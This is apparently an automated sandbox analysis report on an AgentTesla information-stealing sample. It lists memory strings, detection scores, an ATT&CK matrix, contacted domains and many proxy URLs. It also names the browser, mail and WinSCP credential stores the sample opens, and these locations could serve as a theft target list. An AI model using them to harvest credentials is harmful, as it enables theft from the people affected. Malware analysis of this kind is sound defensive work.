Source: InstallUtil.exe, 00000006.00000002.2582192043.00000000028DE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program Manager
Source: InstallUtil.exe, 00000006.00000002.2582192043.00000000028DE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $uq3<b>[ Program Manager]</b> (12/03/2024 02:39:43)<br>
Source: InstallUtil.exe, 00000006.00000002.2582192043.00000000028DE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLRuq
Source: InstallUtil.exe, 00000006.00000002.2582192043.00000000028DE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $uq9<b>[ Program Manager]</b> (12/03/2024 02:39:43)<br>{Win}rTHzqd4

Source: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe	Queries volume information: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\YZbrmyt\YZbrmyt.exe	Queries volume information: C:\Users\user\AppData\Roaming\YZbrmyt\YZbrmyt.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\YZbrmyt\YZbrmyt.exe	Queries volume information: C:\Users\user\AppData\Roaming\YZbrmyt\YZbrmyt.exe VolumeInformation

Source: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: Amcache.hve.LOG1.10.dr, Amcache.hve.10.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.LOG1.10.dr, Amcache.hve.10.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.LOG1.10.dr, Amcache.hve.10.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.LOG1.10.dr, Amcache.hve.10.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23090.2008-0\msmpeng.exe
Source: Amcache.hve.LOG1.10.dr, Amcache.hve.10.dr	Binary or memory string: MsMpEng.exe

Stealing of Sensitive Information

Yara detected AgentTesla

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 6.2.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000002.2582192043.00000000028D4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2582192043.00000000028CC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2577350351.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2582192043.00000000028A1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 42536, type: MEMORYSTR

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities	Jump to behavior

Source: Yara match	File source: 6.2.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000002.2577350351.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2582192043.00000000028A1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 42536, type: MEMORYSTR

Remote Access Functionality

Yara detected AgentTesla

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 6.2.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000002.2582192043.00000000028D4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2582192043.00000000028CC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2577350351.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2582192043.00000000028A1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 42536, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	121 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	1 OS Credential Dumping	1 File and Directory Discovery	Remote Services	1 Archive Collected Data	3 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 Registry Run Keys / Startup Folder	212 Process Injection	1 Obfuscated Files or Information	11 Input Capture	24 System Information Discovery	Remote Desktop Protocol	1 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 Registry Run Keys / Startup Folder	1 Timestomp	1 Credentials in Registry	1 Query Registry	SMB/Windows Admin Shares	1 Email Collection	11 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 DLL Side-Loading	NTDS	121 Security Software Discovery	Distributed Component Object Model	11 Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	11 Masquerading	LSA Secrets	2 Process Discovery	SSH	Keylogging	24 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	141 Virtualization/Sandbox Evasion	Cached Domain Credentials	141 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	212 Process Injection	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Hidden Files and Directories	Proc Filesystem	1 System Network Configuration Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
POs#U034fx#U034fl#U034fx#U034f..exe	61%	ReversingLabs	ByteCode-MSIL.Trojan.Leonem
POs#U034fx#U034fl#U034fx#U034f..exe	100%	Avira	TR/Dldr.Agent.wwtap
POs#U034fx#U034fl#U034fx#U034f..exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Roaming\YZbrmyt\YZbrmyt.exe	0%	ReversingLabs

Source	Detection	Scanner	Label
http://89.250.152.76:8080://proxy	0%	Avira URL Cloud	safe
http://5.58.33.187:55507	0%	Avira URL Cloud	safe
http://161.97.173.78:49145://proxy	0%	Avira URL Cloud	safe
http://122.154.118	0%	Avira URL Cloud	safe
http://5.252.23.220:3128	0%	Avira URL Cloud	safe
http://82.137.244.	0%	Avira URL Cloud	safe
http://37.53.90.82:12542	0%	Avira URL Cloud	safe
http://104.21.6.88:80	0%	Avira URL Cloud	safe
http://176.113.73.99:3128	0%	Avira URL Cloud	safe
http://170.210.121.190:8080://proxy	0%	Avira URL Cloud	safe
http://127.0.0.7:80	0%	Avira URL Cloud	safe
http://92.205.61.38:4300://proxy	0%	Avira URL Cloud	safe
http://50.145.6.36	0%	Avira URL Cloud	safe
http://173.212.209.49:31673	0%	Avira URL Cloud	safe
http://103.174.178.132:1020	0%	Avira URL Cloud	safe
http://165.227.95.2:8080://proxy	0%	Avira URL Cloud	safe
http://124.158.186.254:8080://proxy	0%	Avira URL Cloud	safe
http://185.82.87.30:1080://proxy	0%	Avira URL Cloud	safe
http://51.77.65.164:31979	0%	Avira URL Cloud	safe
http://178.212.48.80:8080	0%	Avira URL Cloud	safe
http://198.57.229.185:64767://proxy	0%	Avira URL Cloud	safe
http://107.180.95.177:63951://proxy	0%	Avira URL Cloud	safe
http://103.28.121.58:3128://proxy	0%	Avira URL Cloud	safe
http://72.10.160.90:17893	0%	Avira URL Cloud	safe
http://201.77.108.64:999	0%	Avira URL Cloud	safe
http://184.178.172.25:15291	0%	Avira URL Cloud	safe
http://47.222.18.105:83://proxy	0%	Avira URL Cloud	safe
http://103.215.24.162:5678://proxy	0%	Avira URL Cloud	safe
http://181.205.41.21:7654	0%	Avira URL Cloud	safe
http://37.221.197.165B&	0%	Avira URL Cloud	safe
http://212.220.13.98:4153://proxy	0%	Avira URL Cloud	safe
http://203.128.77.213:33378	0%	Avira URL Cloud	safe
http://93.182.76.244:5678://proxy	0%	Avira URL Cloud	safe
http://27.0.234.206:1080://proxy	0%	Avira URL Cloud	safe
http://207.180.234.220:39737	0%	Avira URL Cloud	safe
http://102.216.69.176:8080://proxy	0%	Avira URL Cloud	safe
http://104.20.103.68://proxy	0%	Avira URL Cloud	safe
http://2.179.193.146:3128	0%	Avira URL Cloud	safe
http://98.64.169.17:8080://proxy	0%	Avira URL Cloud	safe
http://103.90.227.244:3128	0%	Avira URL Cloud	safe
http://72.10.160.170:5385://proxy	0%	Avira URL Cloud	safe
http://59.98.4.70:8080	0%	Avira URL Cloud	safe
http://91.134.140.160:27207://proxy	0%	Avira URL Cloud	safe
http://13.234.24.116:3128	0%	Avira URL Cloud	safe
http://46.21.153.16:3128://proxy	0%	Avira URL Cloud	safe
http://152.32.132.220://proxy	0%	Avira URL Cloud	safe
http://94.131.203.7:8080	0%	Avira URL Cloud	safe
http://67.43.227.227:2411	0%	Avira URL Cloud	safe
http://103.216.51.36:32650	0%	Avira URL Cloud	safe
http://149.126.101.162:8080://proxy	0%	Avira URL Cloud	safe
http://107.180.90.88:20309	0%	Avira URL Cloud	safe
http://184.178.172.14:4145://proxy	0%	Avira URL Cloud	safe
http://72.10.164.178:1431://proxy	0%	Avira URL Cloud	safe
http://221.153.92.39:80	0%	Avira URL Cloud	safe
http://183.88.184.48:8080	0%	Avira URL Cloud	safe
http://159.192.102.249:8080://proxy	0%	Avira URL Cloud	safe
http://62.99.138.162://proxy	0%	Avira URL Cloud	safe
http://188.165.252	0%	Avira URL Cloud	safe
http://104.19.235.10	0%	Avira URL Cloud	safe
http://111.59.4.88:9002://proxy	0%	Avira URL Cloud	safe
http://103.217.213.145:4145://proxy	0%	Avira URL Cloud	safe
http://51.81.186.179:51405://proxy	0%	Avira URL Cloud	safe
http://183.234.215.11:8443://proxy	0%	Avira URL Cloud	safe
http://86.107.178.103:3128://proxy	0%	Avira URL Cloud	safe
http://174.64.199.82:4145://proxy	0%	Avira URL Cloud	safe
http://62.141.70.118:80	0%	Avira URL Cloud	safe
http://31.43.179.160:80	0%	Avira URL Cloud	safe
http://162.214.225.223:40536	0%	Avira URL Cloud	safe
http://92.205.110.118:15430	0%	Avira URL Cloud	safe
http://211.234.125.5:443	0%	Avira URL Cloud	safe
http://115.240.163.31	0%	Avira URL Cloud	safe
http://160.3.168.70:8080	0%	Avira URL Cloud	safe
http://32.223.6.94:80	0%	Avira URL Cloud	safe
http://161.97.173.42:50386://proxy	0%	Avira URL Cloud	safe
http://96.113.158.126://proxy	0%	Avira URL Cloud	safe
http://145.239.199.109:3128	0%	Avira URL Cloud	safe
http://66.29.129.53:14464://proxy	0%	Avira URL Cloud	safe
http://103.234.24.105:8880	0%	Avira URL Cloud	safe
http://50.169.23.170:80	0%	Avira URL Cloud	safe
http://141.95.160.178:5870	0%	Avira URL Cloud	safe
http://104.17.166.210:80	0%	Avira URL Cloud	safe
http://223.25.100.42:2222://proxy	0%	Avira URL Cloud	safe
http://144.91.106.93:3128	0%	Avira URL Cloud	safe
http://114.99.13.192:8004://proxy	0%	Avira URL Cloud	safe
http://116.199.168	0%	Avira URL Cloud	safe
http://103.131.8.27:5678	0%	Avira URL Cloud	safe
http://104.247.163.246:3825	0%	Avira URL Cloud	safe
http://162.241.6.97:45629://proxy	0%	Avira URL Cloud	safe
http://137.184.200.42:8000://proxy	0%	Avira URL Cloud	safe
http://84.241.8.234:8080	0%	Avira URL Cloud	safe
http://5.135.83.214:80	0%	Avira URL Cloud	safe
http://147.75.122.245:999://proxy	0%	Avira URL Cloud	safe
http://185.129.250.183	0%	Avira URL Cloud	safe
http://162.214.165.6:42624://proxy	0%	Avira URL Cloud	safe
http://50.168.210.239:80	0%	Avira URL Cloud	safe
http://45.174.87.18:999://proxy	0%	Avira URL Cloud	safe
http://37.26.223.96:9080://proxy	0%	Avira URL Cloud	safe
http://185.49.31.207:8081://proxy	0%	Avira URL Cloud	safe
http://35.207.123.94://proxy	0%	Avira URL Cloud	safe
http://187.210.136	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
us2.smtp.mailhostbox.com	208.91.198.143	true	false	high
ktxcomay.com.vn	222.255.238.159	true	false	unknown
github.com	140.82.113.4	true	false	high
www.avis.com.hn	172.67.199.231	true	false	unknown
api.ipify.org	172.67.74.152	true	false	high
heygirlisheeverythingyouwantedinaman.com	104.21.57.121	true	true	unknown
smtp.fvpumps.com	unknown	unknown	true	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://89.250.152.76:8080://proxy	POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD28580000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://170.210.121.190:8080://proxy	POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD292CC000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://5.58.33.187:55507	POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD274C4000.00000004.00000800.00020000.00000000.sdmp, POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD27189000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://82.137.244.	POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD28580000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://122.154.118	POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD2A938000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://37.53.90.82:12542	POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD292CC000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://5.252.23.220:3128	POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD28580000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://176.113.73.99:3128	POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD28580000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://104.21.6.88:80	POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD26FD2000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://161.97.173.78:49145://proxy	POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD292CC000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://173.212.209.49:31673	POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD292CC000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://127.0.0.7:80	POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD28580000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://103.174.178.132:1020	POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD27AF2000.00000004.00000800.00020000.00000000.sdmp, POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD275B5000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://92.205.61.38:4300://proxy	POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD292CC000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://165.227.95.2:8080://proxy	POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD28580000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://50.145.6.36	POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD27AF2000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://178.212.48.80:8080	POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD2A938000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.82.87.30:1080://proxy	POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD27288000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://124.158.186.254:8080://proxy	POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD2A8DE000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://51.77.65.164:31979	POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD27AF2000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://198.57.229.185:64767://proxy	POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD29CCC000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://72.10.160.90:17893	POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD27AF2000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://107.180.95.177:63951://proxy	POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD284FC000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://181.205.41.21:7654	POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD2A938000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://103.28.121.58:3128://proxy	POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD28580000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://184.178.172.25:15291	POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD292CC000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://47.222.18.105:83://proxy	POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD2842B000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://103.215.24.162:5678://proxy	POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD27094000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://201.77.108.64:999	POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD27ECB000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://37.221.197.165B&	POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD28580000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://93.182.76.244:5678://proxy	POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD28580000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://212.220.13.98:4153://proxy	POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD2A938000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://203.128.77.213:33378	POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD2A8DE000.00000004.00000800.00020000.00000000.sdmp, POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD2A938000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://207.180.234.220:39737	POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD29CCC000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://27.0.234.206:1080://proxy	POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD28580000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://102.216.69.176:8080://proxy	POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD292CC000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://104.20.103.68://proxy	POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD284C2000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://2.179.193.146:3128	POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD284FC000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://98.64.169.17:8080://proxy	POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD27AF2000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://103.90.227.244:3128	POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD292CC000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://59.98.4.70:8080	POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD2A938000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://67.43.227.227:2411	POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD2A938000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://91.134.140.160:27207://proxy	POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD28580000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://72.10.160.170:5385://proxy	POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD2779F000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://152.32.132.220://proxy	POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD28580000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://13.234.24.116:3128	POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD274B8000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://94.131.203.7:8080	POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD27AF2000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://46.21.153.16:3128://proxy	POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD29CCC000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://103.216.51.36:32650	POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD28580000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://149.126.101.162:8080://proxy	POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD27094000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://107.180.90.88:20309	POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD292CC000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://184.178.172.14:4145://proxy	POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD272FA000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://221.153.92.39:80	POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD2A938000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://72.10.164.178:1431://proxy	POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD275A2000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://188.165.252	POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD292CC000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://183.88.184.48:8080	POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD27ECB000.00000004.00000800.00020000.00000000.sdmp, POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD28131000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://159.192.102.249:8080://proxy	POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD27AF2000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://62.99.138.162://proxy	POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD2A938000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://104.19.235.10	POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD29CCC000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://103.217.213.145:4145://proxy	POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD2A938000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://111.59.4.88:9002://proxy	POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD27AF2000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
